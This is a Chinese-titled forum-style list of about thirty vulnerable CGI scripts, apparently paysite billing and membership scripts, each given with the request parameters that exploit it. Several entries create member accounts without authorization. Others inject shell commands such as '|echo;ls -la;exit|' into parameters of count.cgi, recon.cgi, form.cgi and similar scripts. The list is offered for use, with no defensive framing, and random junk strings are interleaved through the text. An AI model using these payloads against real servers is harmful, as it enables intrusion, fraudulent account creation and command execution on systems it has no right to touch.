Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
username=username&password=password

/index.cgi
wei=ren&gen=command
" o1 l& {: m3 U
/passmaster.cgi
: D& y' a6 E1 T" s! W' ^Action=Add&Username=Username&Password=Password
9 e9 J6 W8 R" S
& u, B4 Y* M: f* W$ t/accountcreate.cgi
7 G" H; m  G% K# x5 ~username=username&password=password&ref1=|echo;ls|

/form.cgi
8 m! O( I0 z5 ~9 l; e4 ename=xxxx&email=email&subject=xxxx&response=|echo;ls|
. h  E4 i& `" O
0 i, j6 Y8 M' U6 \* Z/addusr.pl
. a5 i4 R: t/ c; I. D/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
  ]. Z9 p4 O  L0 P. c
/ccbill-local.asp
post_values=username:password

( m0 `7 q/ m0 x1 l- x- \  X9 L/count.cgi
pinfile=|echo;ls -la;exit|

/recon.cgi
* }3 c, Y6 x) Y- @3 Y8 `/recon.cgi?search
# \2 N) Q6 ?& W3 e/ a7 ssearchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

$ q  G3 U  p$ K5 J/af.cgi
_browser_out=|echo;ls -la;exit;|
7 F3 K1 L5 r/ N6 F: r
  {$ E* E/ _$ H5 I* ~3 T/modify.cgi
username=username&password=password&expire=30

+ b  r) v0 }# D8 `: @/openjournal.cgi
4 F& K) K/ g# d7 z3 f" \# S+ O4 [$ A0 gedit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
5 z0 y, s+ k1 t# H6 T2 wcmd=ADD&user=username&pass=password

/probecontrol.cgi
/ o; v5 `1 T$ |2 Y1 ?1 ^command=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
$ m, ~0 Q  d4 Z
/htadd.pl
configfile=|echo; ls -alt; exit
) k: K9 T; U( g1 @* z% Z
, ]0 ?0 O- H' l4 @' S/ e/gx9passwd.cgi
# c# j# G7 Q# a/ o+ _. Acmd=ADD&user=username&pass=password
  m% ^0 U: j- g# W9 w, m; F1 T' G
/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
& a+ }  j* z# L1 Z# zdo=add&username=username&password=password&wpassword=password
% Z3 }1 a5 C, Y1 h: @* u5 T) n
/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
* ^* ^0 G1 M) _0 F+ Caction=ADD&seccode=seccode&login=username&password=password

# `/ \# b: h8 Y, X" m# z/addusr.pl
, X, G6 J8 P4 S7 p  G( vuser=USER&pass=PASS&confirm=PASS

6 a2 S" [( g4 [; V/pincount.cgi
" @. J! {8 Q* L5 K" H* d1 T! B8 K/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
# R) W( }: |/ |& _username=username&password=password&password2=password&ref1=|echo;ls -al;exit
+ i. c& h2 L% O& p4 p# O+ F3 W) K7 h
/ ?* ^# r# S+ |$ I" ~/af.cgi
0 s. e: `( ]  I) g5 [: Q4 R/env.cgi
ADD+;echo;pwd;exit
; V4 ]- \' Y/ [  G: n4 S
) Y2 o) Q6 D/ O/ \, L7 t/count.cgi
pinfile=|echo;pwd;exit|
! k) u9 p) ^9 i
/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
* ]& x4 c! [$ ]* O0 Musername=username&password=password&expire=30
; W+ V+ w! C/ H+ a4 m& h( Q
2 Q9 @6 z2 e8 a: H1 T/ K; q==============================